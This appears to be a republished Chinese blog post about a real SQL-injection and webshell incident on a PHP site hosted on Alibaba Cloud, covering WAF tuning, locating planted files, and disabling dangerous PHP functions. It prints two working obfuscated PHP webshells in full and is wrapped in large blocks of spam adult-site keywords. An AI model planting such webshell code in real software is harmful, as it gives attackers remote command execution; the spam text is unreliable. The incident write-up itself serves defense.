日本免费精品_最新日韩一区_亚洲视频一区在线_a在线视频观看_天天射夜夜骑_粉嫩av一区二区三区_欧美中日韩免费视频_综合图区欧美_国内精品美女在线观看_午夜精品久久久久久久男人的天堂

首頁 > 數據庫 > SQL Server > 正文

淺談一次與sql注入 & webshell 的美麗“邂逅”

2024-08-31 01:05:31
字體:
來源:轉載
供稿:網友

引言

一波未平,一波又起。金融公司的業務實在是太引人耳目,何況我們公司的業處正處于風口之上(區塊鏈金融),并且每天有大量現金交易,所以不知道有多少躲在暗處一直在盯著你的系統,讓你防不勝防,并且想方設法的找到突破點,以達到的目的來獲取非法利益。

俗話說:“道高一尺,魔高一丈”。系統和代碼也可以這么理解,防的在好,總有漏洞。系統和代碼也沒有絕對的安全。該來的總會來......

sql注入與“她”相遇

某一天,天氣晴朗,心情舒暢。“她”來了,打破了筆者的美好時光。下午2點多鐘,筆者和朋友在蘇州街的天使匯二樓極客咖啡參加某個云廠商的Kubernetes一場技術沙龍,正聽得興致勃勃的時候,筆者的公司群里有個php開發突然帖出一張圖:

sql注入,webshell

這個時候,群里翻騰了。沒錯,被SQL注入了,數據庫的表被注入了字段,并且經檢查后,發現這個庫中的大部分表都被注入了這個字段。我的電腦沒帶在身邊,真是著急,馬上跟總監說明問題嚴重性。由于我電腦不在身邊, 只能把數據庫賬號授權(讀寫權限)給那個php開發,讓他檢查所有的表,把被注入的字段刪除掉。并查看數據和其它表有沒有被修改。好在發現急時,數據和業務都沒有被丟失和損壞。

這里我要說明一下,我們的業務都在阿里云,項目是以php為主,并且開通了waf防火墻,只是waf上的防護措施比較寬松。筆者在安全方面的經驗也比較欠缺,好在開通了阿里云的WAF,讓筆者在排查和防護上也變得輕松和快捷。

此時,我已經在回家的路上,回到家中迅速打開電腦。

調整waf策略

由于筆者也是剛接手工作,阿里云上的很多策略還沒得到及時調整。所以才這么容易被攻進來。即然被注入了,肯定要把源給揪出來。我也在次把所有的表都檢查一遍,確認沒問題后,在去調整waf策略,進入阿里云。

1、進入相關域名的防護配置,我們先來看下調整前的策略,如下圖:

sql注入,webshell

sql注入,webshell

從上圖可以看出,“Web應用防護”策略是寬松模式,其主要作用就是防護SQL注入、XSS跨站等常見Web應用,寬松模式下對業務的誤報程度最低,但也容易漏過***。“惡意IP懲罰”也沒啟用。這么寬松的防護措施風險比較大。趕緊先調整吧。

2、調整后的策略(如有多個域名,都調整過來),如下圖:

sql注入,webshell

防護策略調整過了,還需要把問題根源找到啊,這才是最重要的?。?!

查找可疑文件

此時,php的項目源碼分布在好幾臺服務器上,如果靠傳統方式去排查,挨個檢查這些服務器的目錄,各種能用的命令都用上了,是不是也挺費勁費時的,還不知道要查到啥時候。這個時候,阿里有項服務起到關鍵的作用了:“態勢感知”,這個需要升級為企業版本(費用不高,我們公司開通了一年,費用6000多塊)。這就是用阿里的好處(不是打廣告),確實讓你省心。

1、進入“態勢感知”查看一下,就立馬發現了一堆異常行為,遍布在好幾臺服務器上如下圖:

sql注入,webshell

2、點幾個異常行為進入看看,我就打開其中兩個行為看一下,其它的行為也都差不多,如下圖:

sql注入,webshell

sql注入,webshell

從命令行參數中可以看出相關目錄有/Mode/Lite/ ,并且給出的解決方案是及時排查可疑目錄下的信息并及時清除。筆者順著給出的提示在服務器上進行 find 相關目錄,查找出目錄所在路徑,如下圖:

sql注入,webshell

順藤摸瓜吧,列一下這個目錄的文件:

sql注入,webshell

從上圖發現了有兩個異常的php文件,目錄屬主也和其它文件不一樣,筆者打開代碼倉庫也進入相同的目錄進行比對,代碼倉庫中確實沒有這兩個文件。為了確認清楚,把這兩個文件down下來發給開發。開發說項目中沒有這兩個文件。把它down下來打開文件看看:

Content.class.php文件內容:

<?php @($_=base64_decode($_POST[1])).$_(hex2bin($_POST[2]))?>}

這代碼不就是被注入的表里的字段嗎,上面這段代碼大概意思為:把post請求的兩個參數,一個用base64解密,一個用hex2bin轉成16進制,然后拼接在一起,應該是把操作數據庫的語句加密傳過來,然后解密,這樣就不會被攔截掉。如果哪位博友認為解釋的有誤,一定要提出來。

Lite.class.php文件內容:

<?php if(isset($_REQUEST['error'])&&isset($_REQUEST['limit'])){  $page = $_REQUEST['error'];  $limit = $_REQUEST['limit'];  $func = base64_decode(str_rot13(strrev($limit)));  $func(base64_decode(str_rot13(strrev($page))));  exit;

上面的代碼其實和之前的那段代碼有共性,反轉字符串然后ROT13 編碼,然后base64解碼,最后按照 PHP 代碼來計算,至于base64_decode,str_rot13,strrev是為了繞過WAF等安全設備的過濾。

已經很明顯了,就是由上面這些代碼文件Content.class.php等文件給注入的。不用想了:rm -rf 吧。這個動態感知還是挺好用的,能快速定位到風險目錄,讓你減少排查的時間和精力。

為了保險起見,繼續排查一下其它的目錄是否也存在可疑文件,一定要排查干凈了,操作一定要小心,也別誤刪,果然在同級目錄下又發現一個,如下圖:

sql注入,webshell

還有一個,如下圖:

sql注入,webshell

和代碼倉庫、開發的對比,可以確定這兩個也是***傳進來的可疑文件,我有一個習慣,刪除文件之前喜歡備份到本地。備份好這些可疑文件到本地之,都徹底清除掉。

雖然都清除掉了,waf防火墻也調整了,但是也沒有絕對的安全,還需要把php這些危險的函數禁用掉,比如禁用phpinfo、exec()、system()等:

phpinfo()功能描述:輸出 PHP 環境信息以及相關的模塊、WEB 環境等信息。危險等級:中passthru()功能描述:允許執行一個外部程序并回顯輸出,類似于 exec()。危險等級:高exec()功能描述:允許執行一個外部程序(如 UNIX Shell 或 CMD 命令等)。危險等級:高system()功能描述:允許執行一個外部程序并回顯輸出,類似于 passthru()。危險等級:高chroot()功能描述:可改變當前 PHP 進程的工作根目錄,僅當系統支持 CLI 模式PHP 時才能工作,且該函數不適用于 Windows 系統。危險等級:高scandir()功能描述:列出指定路徑中的文件和目錄。危險等級:中chgrp()功能描述:改變文件或目錄所屬的用戶組。危險等級:高chown()功能描述:改變文件或目錄的所有者。危險等級:高shell_exec()功能描述:通過 Shell 執行命令,并將執行結果作為字符串返回。危險等級:高proc_open()功能描述:執行一個命令并打開文件指針用于讀取以及寫入。危險等級:高proc_get_status()功能描述:獲取使用 proc_open() 所打開進程的信息。危險等級:高ini_alter()功能描述:是 ini_set() 函數的一個別名函數,功能與 ini_set() 相同。具體參見 ini_set()。危險等級:高ini_set()功能描述:可用于修改、設置 PHP 環境配置參數。危險等級:高ini_restore()功能描述:可用于恢復 PHP 環境配置參數到其初始值。危險等級:高dl()功能描述:在 PHP 進行運行過程當中(而非啟動時)加載一個 PHP 外部模塊。危險等級:高pfsockopen()功能描述:建立一個 Internet 或 UNIX 域的 socket 持久連接。危險等級:高symlink()功能描述:在 UNIX 系統中建立一個符號鏈接。危險等級:高popen()功能描述:可通過 popen() 的參數傳遞一條命令,并對 popen() 所打開的文件進行執行。危險等級:高putenv()功能描述:用于在 PHP 運行時改變系統字符集環境。在低于 5.2.6 版本的 PHP 中,可利用該函數修改系統字符集環境后,利用 sendmail 指令發送特殊參數執行系統 SHELL 命令。危險等級:高禁用方法如下:打開/etc/php.ini文件,查找到 disable_functions ,添加需禁用的函數名,如下:phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen

趁著這次事件,把其它服務器也一并排查一下吧,需要點耐心慢慢排查,***把這些可疑文件偽裝的非常好,繞過了waf墻,人的肉眼不仔細看它都看不出來,所以還是要自己細心一點干活。

需要聲明一下:每個人的做事方式都不一樣,本文只是把筆者遇到的事件分享給大家,僅作為交流和學習。

名詞解釋

sql注入:

所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。具體來說,它是利用現有應用程序,將(惡意的)SQL命令注入到后臺數據庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。 比如先前的很多影視網站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式***.

webshell:

webshell就是以asp、php、jsp或者cgi等網頁文件形式存在的一種命令執行環境,也可以將其稱做為一種網頁后門。了一個網站后,通常會將asp或php后門文件與網站服務器WEB目錄下正常的網頁文件混在一起,然后就可以使用瀏覽器來訪問asp或者php后門,得到一個命令執行環境,以達到控制網站服務器的目的。
顧名思義,“web”的含義是顯然需要服務器開放web服務,“shell”的含義是取得對服務器某種程度上操作權限。webshell常常被稱為***者通過網站端口對網站服務器的某種程度上操作的權限。由于webshell其大多是以動態腳本的形式出現,也有人稱之為網站的后門工具。

安全防范小結

歸納一下,主要有以下幾點:
1.永遠不要信任用戶的輸入。對用戶的輸入進行校驗,可以通過正則表達式,或限制長度;對單引號和雙"-"進行轉換等。
2.永遠不要使用動態拼裝sql,可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取。
3.永遠不要使用管理員權限的數據庫連接,為每個應用使用單獨的權限有限的數據庫連接。
4.不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。
5.應用的異常信息應該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝。
6.sql注入的檢測方法一般采取輔助軟件或網站平臺來檢測,軟件一般采用sql注入檢測工具jsky,網站平臺就有億思網站安全平臺檢測工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS***等。

以上就是本文的全部內容,希望對大家的學習有所幫助,也希望大家多多支持VeVb武林網。


注:相關教程知識閱讀請移步到MSSQL教程頻道。
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
一级片免费在线| 久久 天天综合| 欧美久久一二三四区| 欧美在线亚洲一区| 国产欧美日韩综合精品| 日韩精品在线视频观看| 中文字幕国产视频| 日韩三级视频在线| 午夜少妇久久久久久久久| 欧美日韩高清一区二区| 91久久久久| 精品播放一区二区| 亚洲一区中文字幕在线观看| 精品久久久91| 亚洲综合在线电影| 国产在线不卡av| 国产区日韩欧美| 免费高清视频日韩| 亚洲国内精品视频| 久久视频免费看| 在线视频三区| 日韩欧美色综合网站| 日韩高清在线不卡| 欧美日韩亚洲第一| 日韩欧美专区在线| 日韩中文欧美在线| 亚洲欧洲国产视频| 一区在线免费| 国产字幕在线看| 午夜影院在线观看欧美| 欧美日韩激情一区| 国自产拍在线网站网址视频| 大香一本蕉伊线亚洲网| 丰满少妇一区二区| 国产一级在线免费观看| 中文字幕欧美亚洲| 91精品国产高清久久久久久| 婷婷中文字幕一区| 国产成人精品免费久久久久| 91精品国产乱码久久蜜臀| 国产aa精品| 中文字幕亚洲乱码| 精品日韩视频在线观看| 国产精久久久久| 97国产视频| 亚洲中文字幕在线一区| 欧美日韩久久久| 中文不卡在线| 午夜国产在线视频| 亚洲女人天堂a在线播放| 日韩欧美在线中文字幕| 欧美午夜影院在线视频| 欧美日韩国产区| 亚洲三级国产| 日韩精品在线看| 不卡视频一区二区| 日韩精品在线视频| aa国产成人| 午夜福利一区二区三区| 欧美日韩国产免费观看视频| 欧美一级免费看| 中文字幕国产视频| 日韩欧美一二三区| 日本黄色一区二区三区| 国产欧美日韩视频| 香蕉人人精品| 国产又粗又猛又爽又黄91精品| 国产偷久久久精品专区| 欧美成人vr18sexvr| 日韩不卡一二区| 中文字幕第一页在线播放| www.xxxx精品| 日韩欧美在线精品| 日韩精品福利一区二区三区| 欧美一级免费观看| 精品视频www| 丰满少妇一区| 欧美日韩高清一区二区| 亚洲深夜福利| 日韩欧美色综合网站| 国产黄色网页| 99精品一级欧美片免费播放| 欧美在线视频二区| 在线国产99| 国产在线视频一区二区| 日韩不卡中文字幕| 中文字幕日韩免费视频| 欧美日韩高清在线播放| 欧美日韩一区二区在线视频| 日韩欧美视频一区二区三区四区| 亚洲福利一区| 91精品国产综合久久久蜜臀粉嫩| 久久99精品久久久久婷婷| 国产日韩在线亚洲字幕中文| 日韩精品手机在线| 黄色国产在线| 中文字幕最新精品| 中文字幕在线官网| 日韩 国产 一区| 婷婷中文字幕一区三区| 日韩精品中文字幕第1页| 日韩精品在线观| 日韩亚洲一区中文字幕| 日韩免费精品视频| 欧美精品一区二区三区在线播放| 一二三区精品福利视频| 视频一区二区中文字幕| 中文 欧美 日韩| 欧美三级免费观看| 欧美日韩国产不卡| 91精品国产入口| 中文字幕在线亚洲| 日韩精品一二三四区| 久久视频一区| 国产一卡2卡3卡四卡网站| 日韩一级在线视频| 国产超级va在线视频| 国产第一页在线播放| 91精品在线免费| 欧美日韩久久久| 国产午夜在线观看| 久久久精品日韩欧美| 日韩欧美不卡| 免费视频一区三区| 91精品婷婷国产综合久久| 日韩精品视频在线免费观看| 在线观看91精品国产入口| 亚洲视频在线观看三级| 亚洲一区在线观看视频| 91精品久久久久久久久| 免费在线播放av| 中文不卡在线| 日韩精品在线中文字幕| 亚洲 欧美 精品| 国产中文在线播放| 国产区在线看| 精品成a人在线观看| 欧美二区在线观看| 最新中文字幕在线播放 | 久久永久免费视频| 亚洲久草视频| 91精品国产色综合久久久蜜香臀 | 中文字幕中文字幕精品| 欧美日韩在线视频一区| 免费看黄资源大全高清| 搞黄在线观看| 亚洲福利一区二区三区| 国产性一级片| 91精品国产色综合久久不卡蜜臀| 最近高清中文在线字幕在线观看| 欧美午夜精品在线| 中文在线不卡| 欧洲一级精品| 午夜国产在线视频| 亚洲成av人片在线| 久久人人88| 中文字幕精品亚洲| 亚洲一区在线观看视频| 久久久91精品国产| 欧美性极品xxxx做受| 在线一区二区不卡| 欧美亚洲天堂网| 热久久精品国产| 国产一区三区三区| 极品久久久久久| 日韩国产欧美亚洲| 欧美日韩高清一区二区| 中文字幕亚洲视频| 欧美日韩在线视频首页| 日韩精品在线看| 中文字幕精品在线视频| 日韩精品在线免费播放| 日韩精品在线免费观看| 欧美日韩一级黄| 久久久精品国产99久久精品芒果| 日韩一级精品| 99国产成 人 综合 亚洲欧美| 亚洲小说春色综合另类网蜜桃| 欧美日韩国产黄色| 一级片免费在线| 日韩欧美中文字幕公布| 中文字幕日韩精品在线| 国产嫩草影院久久久久| 日韩欧美999| 欧美国产一级片| 亚洲一级在线| 91精品久久久久久久91蜜桃| 一级片免费在线播放| 中文字幕第一页在线| 91国内精品在线视频| 日韩www在线| 亚洲一区在线观看网站| 欧美日韩国产综合久久| 午夜黄色小视频| 欧美日韩国产亚洲一区| 国产婷婷色一区二区三区在线| 欧美日韩国产黄色| 中文字幕在线看视频国产欧美| 日韩手机在线观看视频| 本道综合精品| 亚洲高清不卡一区| 国产高清一级片| 日韩在线二区| 久久99久久久久久久噜噜| 蜜臀91精品国产高清在线观看| 欧美日韩成人一区| 精品视频三区| 日韩在线视频网| 九九在线精品| 国产黄在线观看| 欧美在线日韩精品| 久久人人精品| 国产欧美第一页| 欧美午夜影院在线视频| 欧美不卡视频一区| 深夜福利亚洲| 欧美日韩性视频一区二区三区| 欧美日韩亚洲视频| 91精品日本| 快she精品国产999| 国产99对白在线播放| 久久久水蜜桃| 国产亚洲短视频| 国产三级视频网站| 久久91精品视频| 日韩精品在线免费看| 人成在线免费视频| 一区二区不卡视频在线观看| 日韩欧美国产成人一区二区| 亚洲综合在线电影| 中文字幕国产亚洲| 亚洲人成欧美中文字幕| 日韩国产在线不卡视频| 国产高清一区| 在线一区二区三区精品| 国产高清在线视频| 日本不卡免费高清视频| 蜜桃久久av一区| 欧美日韩在线精品成人综合网| 国产一区激情在线| 国产99亚洲| 亚洲一区中文字幕在线| 日韩视频中文字幕| 国产三级中文字幕| 91精品国产自产观看在线| 亚洲二区自拍| 国产永久在线观看| 日韩av一区二| 在线日韩中文字幕| 91精品国产自产| 日韩在线观看一区| 欧美亚洲专区| 精品一二三区| 一本大道一区二区三区| 国产成人精品免费网站| 国产 日韩 欧美 综合 一区| 国产黄色小视频| 97久久精品| 欧美三级在线播放| 黄色片免费看| 国产午夜在线观看| 首页国产欧美久久| 日韩欧美国产成人一区二区| 精品亚洲国内自在自线福利| 欧洲精品在线视频| 91精品电影| 亚洲欧美视频一区二区三区| www中文字幕| 欧美日韩精品不卡| 一级片免费网站| 日韩欧美中文字幕公布| 日本精品免费观看高清观看| 日韩精品中文字幕第1页| 精品日韩99亚洲| 久久婷婷国产| 亚洲国产www| 精品播放一区二区| 日韩国产欧美| 日本精品在线播放| 欧美日韩精品欧美日韩精品一| 亚洲免费在线观看av| 亚洲图片小说综合| 中文字幕五月天| 日韩在线视频二区| 久久精品卡一| 国产小视频免费在线网址| 亚洲电影中文字幕在线观看| 欧美日韩精品免费| 精品对白一区国产伦| 在线免费播放av| 国产一级粉嫩xxxx| 国产欧美日韩在线观看| 日韩精品视频在线观看网址| 欧美日韩国产一中文字不卡| 樱花草www在线| 在线观看国产福利视频| 日韩欧美中文第一页| 国产欧美日韩中文字幕| 精品福利一区二区三区| 日韩视频精品在线观看| 91久久精品在线| 国产欧美日韩在线看| 久久riav| 亚洲免费在线视频一区 二区 | 免费一级欧美在线观看视频| 国产香蕉免费精品视频| 欧洲一级精品| 一区二区日韩视频| 日韩精品视频在线免费观看| 中文字幕在线观看亚洲| 最近高清中文在线字幕在线观看1| 视频一区二区精品的福利| 中文字幕在线视频第一页| 久久精品免费在线观看| 粉嫩喷白浆久久| 精品国产免费视频| 日韩欧美中文在线视频| 欧美一级欧美三级在线观看| 国产精品一区二三区| 亚洲羞羞网站| 日韩精品在线播放| 国产91一区| 久久久99久久| 日韩免费视频一区二区| 久久久水蜜桃| 精品网站999www| 日韩精品视频在线播放| 国产一区不卡精品| 日韩在线三区| 在线国产1区| 中文字幕在线精品| 91精品国产综合久久精品| 91精品国产综合久久香蕉最新版 | 亚洲国产午夜精品| 欧美日韩免费高清| 日韩在线a电影| 中文字幕综合在线| 国产一级在线免费观看| 日韩欧美在线1卡| 国产黄色高清在线| 色欧美日韩亚洲| 日韩欧美在线网址| 亚洲欧美小说国产图片| 日韩va亚洲va欧洲va国产| 中文字幕国产在线| 在线精品日韩| 蜜桃久久久久| 中文字幕成人乱码在线电影| 欧美日韩乱国产| 国产v日产∨综合v精品视频| 一区二区三区在线不卡| 黄污视频在线看| 黄色资源在线观看| 国产黄色在线| 中文字幕在线视频网| 日韩专区中文字幕| 天堂在线中文资源| 亚洲精华国产欧美| 国产三级免费观看| 红桃视频国产一区| 日韩在线不卡一区| 99综合视频| 亚洲 欧美综合在线网络| 一区二区三区高清在线| 日韩中文字幕精品视频| 中文字幕精品一区二| 欧美日韩在线不卡视频| 日韩欧美国产视频| 91精品国产综合久久福利| 日韩视频第二页| www.91香蕉视频| 91久久中文| 91精品国产自产在线丝袜啪| 日本免费看黄| 日韩精品三级| 国产色在线视频| 不卡在线一区二区| 亚洲欧美视频一区二区三区| 国产欧美日韩视频在线| 视频一区二区不卡| 日韩免费不卡avV| 欧美中文字幕第一页| 久久精品在线观看| 久久精品日韩欧美| 91精品国产经典在线观看| 日韩av一区在线| 国产区视频在线观看| 天堂在线www天堂中文在线| 欧美日韩高清| 日韩欧美国产网站| 国产色综合网| 日韩欧美在线网址| 国产在线观看黄色| 日韩视频精品在线| 在线欧美日韩精品| 欧美性极品xxxx做受| 国产美女主播视频一区| 国产亚洲视频中文字幕视频| 日韩手机在线观看视频| 欧美日韩在线网站|